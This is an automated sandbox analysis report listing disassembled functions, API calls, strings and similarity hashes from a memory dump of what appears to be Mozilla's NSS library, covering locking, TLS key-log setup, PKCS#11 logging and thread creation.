Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

TlsGetValue.KERNEL32 ref: 6CAE4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CAE4DEC
PR_Unlock.NSS3(?), ref: 6CAE4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CAE4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CAE4E71
free.MOZGLUE(00000000), ref: 6CAE4E7A
PR_Unlock.NSS3(?), ref: 6CAE4EA2
TlsGetValue.KERNEL32 ref: 6CAE4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CAE4ED6
PR_Unlock.NSS3(?), ref: 6CAE4F01
free.MOZGLUE(00000000), ref: 6CAE4F2A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 4dea2ad14d4ff03baa71aa9b887e5761352c6cb9f502e5a3039fb3b8f3d4a4ac
Instruction ID: c25dccbe856273a8261b7bcc9656669f8004787f2aa02a944af938c2c61eb64f
Opcode Fuzzy Hash: 4dea2ad14d4ff03baa71aa9b887e5761352c6cb9f502e5a3039fb3b8f3d4a4ac
Instruction Fuzzy Hash: 35B1F375A002059FDB00EFA8DC84BAA77B8FF09318F094128ED1597B41EB35E9A5DBD1

Function 6CAEFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAEFFB4

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAEFFC6

Part of subcall function 6CB698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB69946
Part of subcall function 6CB698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA216B7,00000000), ref: 6CB6994E
Part of subcall function 6CB698D0: free.MOZGLUE(00000000), ref: 6CB6995E

PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAEFFD6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAEFFE6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAEFFF6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0006
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0016
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0026
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0036
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0046
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0056
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0066
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0076
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0086
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF0096
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF00A6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF00B6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF00C6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF00D6
PR_NewLock.NSS3(?,?,6CAE76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAB75C2,00000000), ref: 6CAF00E6

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: c21f68b281139d433a9ed100fec3c5b48ec16208cfbe562589dfc9bd0cf536d2
Instruction ID: b7f5f6c18d6763d1cd3702bf77ce4341b8abb3443efe31ad42e230f90f16fb04
Opcode Fuzzy Hash: c21f68b281139d433a9ed100fec3c5b48ec16208cfbe562589dfc9bd0cf536d2
Instruction Fuzzy Hash: 713106F0F026649E8B49DFA6C16814D3AB8B716E49B12511FD14487F01D7B6024EDFE6

Function 6CB36E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB36BF7), ref: 6CB36EB6

Part of subcall function 6CA91240: TlsGetValue.KERNEL32(00000040,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91267
Part of subcall function 6CA91240: EnterCriticalSection.KERNEL32(?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA9127C
Part of subcall function 6CA91240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91291
Part of subcall function 6CA91240: PR_Unlock.NSS3(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA912A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBDFC0A,6CB36BF7), ref: 6CB36ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB36EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB36EFC
PR_NewLock.NSS3 ref: 6CB36F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB36F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB36BF7), ref: 6CB36F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB36BF7), ref: 6CB36F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB36BF7), ref: 6CB36FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB36BF7), ref: 6CB36FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6CB36EF7
SSLKEYLOGFILE, xrefs: 6CB36EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB36FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB36FF8
SSLFORCELOCKS, xrefs: 6CB36F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CB36F4F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: d4f980062f9b475a05bad92a4f95e482f5d01f681427c2e151878a87a10a2db8
Instruction ID: bde77c5150c5af0714de398912e80ab6ea5db3003959a2713589b8de34735227
Opcode Fuzzy Hash: d4f980062f9b475a05bad92a4f95e482f5d01f681427c2e151878a87a10a2db8
Instruction Fuzzy Hash: 69A16A72B659E0C7EB005A3CCE0175932B1BB93329F1953A8E938CBED5DBB69441C252

Function 6CAB5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CAB5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CAB5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CAB5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CAB5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CAB5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CAB5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CAB5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAB5F89
free.MOZGLUE(?), ref: 6CAB5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB5FB6
free.MOZGLUE(00000000), ref: 6CAB5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAB600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAB6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAB6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAB6094

Strings

, xrefs: 6CAB5EEB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: beb5bafa58b439786fb3cc63092bc93270da7b2d89bb4bc8a2e327e2b9619937
Instruction ID: 6c50d1225bb55c714e0ec3d0bc3dbbd7e0258df193805e5b0c6ea08065a46b51
Opcode Fuzzy Hash: beb5bafa58b439786fb3cc63092bc93270da7b2d89bb4bc8a2e327e2b9619937
Instruction Fuzzy Hash: 9D81E5B1E042059BDB10CE74DC81BAEB7B9AF44318F188128F919B7791E731E999CB91

Function 6CAD6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CAD6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD6DC3

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAD6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAD6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CAD6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CAD6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CAD6EB9

Strings

ulDataLen = %d, xrefs: 6CAD6E0E
pulDigestLen = 0x%p, xrefs: 6CAD6E42
hSession = 0x%x, xrefs: 6CAD6D9E, 6CAD6DAE
*pulDigestLen = 0x%x, xrefs: 6CAD6EB4
C_Digest, xrefs: 6CAD6D81
pData = 0x%p, xrefs: 6CAD6DF5
pDigest = 0x%p, xrefs: 6CAD6E27
(CK_INVALID_HANDLE), xrefs: 6CAD6DBC

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 4a0db81a9dcf597a38d9ca7e39d74d08467d452513f46ce99577253ac0e9b01c
Instruction ID: 682ef75cead9f727e37c716e5816ee5e0b82cdde4b5f9b4ec44cf80d9a3a5b1c
Opcode Fuzzy Hash: 4a0db81a9dcf597a38d9ca7e39d74d08467d452513f46ce99577253ac0e9b01c
Instruction Fuzzy Hash: 7A41D275701185AFDB009F54EE49A9E7BB1EB42319F0A4428E808E7712DF31E888CB92

Function 6CAD9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CAD9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD9CA3

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CAD9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAD9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAD9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CAD9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CAD9D42

Strings

pPin = 0x%p, xrefs: 6CAD9CF0
ulUsernameLen = %d, xrefs: 6CAD9D3D
hSession = 0x%x, xrefs: 6CAD9C7E, 6CAD9C8E
pUsername = 0x%p, xrefs: 6CAD9D24
ulPinLen = %d, xrefs: 6CAD9D0B
C_LoginUser, xrefs: 6CAD9C61
userType = 0x%x, xrefs: 6CAD9CD5
(CK_INVALID_HANDLE), xrefs: 6CAD9C9C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 314d8e861ae36c676203fc12af0a7b265f0c9e46709a54af6756a7769bd3cd4d
Instruction ID: e019a106c3cd3b1234aef29bf6077a692f12f1d6d47b97192697ec90ab4095d5
Opcode Fuzzy Hash: 314d8e861ae36c676203fc12af0a7b265f0c9e46709a54af6756a7769bd3cd4d
Instruction Fuzzy Hash: 8941E775701185AFDB008F64EF58AAE3BB1EB4631EF4B4018E408A7612DF31EC48CB92

Function 6CA91FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CA92007
calloc.MOZGLUE(00000001,00000084), ref: 6CA92077
calloc.MOZGLUE(00000001,0000002C), ref: 6CA920DF
TlsSetValue.KERNEL32(00000000), ref: 6CA92188
PR_NewCondVar.NSS3 ref: 6CA921B7
calloc.MOZGLUE(00000001,00000084), ref: 6CA9221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA922C2
GetLastError.KERNEL32 ref: 6CA922CD
free.MOZGLUE(00000000), ref: 6CA922DD

Part of subcall function 6CA90F00: PR_GetPageSize.NSS3(6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F1B
Part of subcall function 6CA90F00: PR_NewLogModule.NSS3(clock,6CA90936,FFFFE8AE,?,6CA216B7,00000000,?,6CA90936,00000000,?,6CA2204A), ref: 6CA90F25

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: aace02209e9721f312c61788ee894523fcbb732b849e9cbe21ead08f90f47a4e
Instruction ID: b8f10e18d6541be595dec72f6536ec7c1f677af55d795fd7d6291d67726ad2df
Opcode Fuzzy Hash: aace02209e9721f312c61788ee894523fcbb732b849e9cbe21ead08f90f47a4e
Instruction Fuzzy Hash: 45918CB0B117018FDB20EF38DC1A75B7AF4BB06708F05462EE55AD7A40DB71A589CB92

Function 6CBB9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CBB9C70
PR_NewLock.NSS3 ref: 6CBB9C85

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

PR_NewCondVar.NSS3(00000000), ref: 6CBB9C96

Part of subcall function 6CA8BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA921BC), ref: 6CA8BB8C

PR_NewLock.NSS3 ref: 6CBB9CA9

Part of subcall function 6CB698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB69946
Part of subcall function 6CB698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA216B7,00000000), ref: 6CB6994E
Part of subcall function 6CB698D0: free.MOZGLUE(00000000), ref: 6CB6995E

PR_NewLock.NSS3 ref: 6CBB9CB9
PR_NewLock.NSS3 ref: 6CBB9CC9
PR_NewCondVar.NSS3(00000000), ref: 6CBB9CDA

Part of subcall function 6CA8BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA8BBEB
Part of subcall function 6CA8BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA8BBFB
Part of subcall function 6CA8BB80: GetLastError.KERNEL32 ref: 6CA8BC03
Part of subcall function 6CA8BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA8BC19
Part of subcall function 6CA8BB80: free.MOZGLUE(00000000), ref: 6CA8BC22

PR_NewCondVar.NSS3(?), ref: 6CBB9CF0
PR_NewPollableEvent.NSS3 ref: 6CBB9D03

Part of subcall function 6CBAF3B0: PR_CallOnce.NSS3(6CC014B0,6CBAF510), ref: 6CBAF3E6
Part of subcall function 6CBAF3B0: PR_CreateIOLayerStub.NSS3(6CC0006C), ref: 6CBAF402
Part of subcall function 6CBAF3B0: PR_Malloc.NSS3(00000004), ref: 6CBAF416
Part of subcall function 6CBAF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CBAF42D
Part of subcall function 6CBAF3B0: PR_SetSocketOption.NSS3(?), ref: 6CBAF455
Part of subcall function 6CBAF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CBAF473

Part of subcall function 6CB69890: TlsGetValue.KERNEL32(?,?,?,6CB697EB), ref: 6CB6989E

EnterCriticalSection.KERNEL32(?), ref: 6CBB9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CBB9DAF
_PR_CreateThread.NSS3(00000000,6CBB9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBB9D9F

Part of subcall function 6CA8B3C0: TlsGetValue.KERNEL32 ref: 6CA8B403
Part of subcall function 6CA8B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CA8B459

_PR_CreateThread.NSS3(00000000,6CBBA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBB9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CBB9DFC
_PR_CreateThread.NSS3(00000000,6CBBA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBB9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CBB9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CBB9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBB9E89

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b8cd8ecd78ad8596aa7de9f86ab698198a1690a5b1365a611565e228d83793ae
Instruction ID: 04604c097f118dc7981ad2f4e080cda217d49046919643b43cd6b8d8f29dbb05
Opcode Fuzzy Hash: b8cd8ecd78ad8596aa7de9f86ab698198a1690a5b1365a611565e228d83793ae
Instruction Fuzzy Hash: 4E616EB1E01746AFD710DF75D844AABBBF8FF08248B044529E859D7B50EB30E858CBA1

Function 6CAB3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CAB4014

Part of subcall function 6CAB39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAB5E6F,?), ref: 6CAB3A08
Part of subcall function 6CAB39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAB5E6F), ref: 6CAB3A1C
Part of subcall function 6CAB39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CAB4038

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CAB404D

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
